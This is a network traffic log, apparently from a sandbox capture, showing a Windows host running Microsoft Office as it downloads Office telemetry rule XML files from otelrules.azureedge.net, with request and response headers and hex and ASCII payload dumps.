2024-11-02 06:16:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 4551d574-201e-0000-465d-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061615Z-r159446fcd7r47cfhC1DFW56w800000000vg000000007wu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	63832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:15 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:15 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: be879cea-801e-0035-5f09-2c752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061615Z-16ccfc49897rwhbvhC1DFWx88g00000001p0000000003v5c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	63833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:15 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:15 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a3e6dd77-301e-000c-6b09-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061615Z-16dc884887bj94q5hC1DFW11e400000001f000000000dx7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	63834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:16 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 418c3147-101e-008d-5609-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061616Z-16dc884887bssjjjhC1DFW2hb400000001eg000000009xxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	63837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:16 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: c6b20e60-701e-0050-230f-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061616Z-176bd8f9bc5fngbjhC1DFWmqsc000000019g00000000b6s0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	63835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:16 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061616Z-16ccfc49897b872mhC1DFWqtb000000001ng00000000b3wp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	63838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:16 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 2d5f12d0-a01e-0053-6a09-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061616Z-16ccfc498979nn5nhC1DFWk16800000001pg00000000ppb1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	63836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:16 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: e8f856ea-301e-0052-0e8f-2b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061616Z-16ccfc49897hrp7xhC1DFW7ud400000001pg000000008g66 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	63839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: a48d9891-501e-0029-7533-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061617Z-16dc884887bvr5slhC1DFWw7rw00000001kg000000003fzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	63841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:17 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 60e97882-101e-0065-7a28-2c4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061617Z-176bd8f9bc5pqws8hC1DFW15kc00000001eg000000003sn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	63840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e9cefd19-301e-0052-64ca-2b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061617Z-16ccfc49897xnlwfhC1DFWz50s00000001pg00000000devt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	63843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:17 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:17 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: c65f15a7-401e-0048-5447-2c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061617Z-16ccfc49897w6rdhhC1DFWb10w00000001p000000000930z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
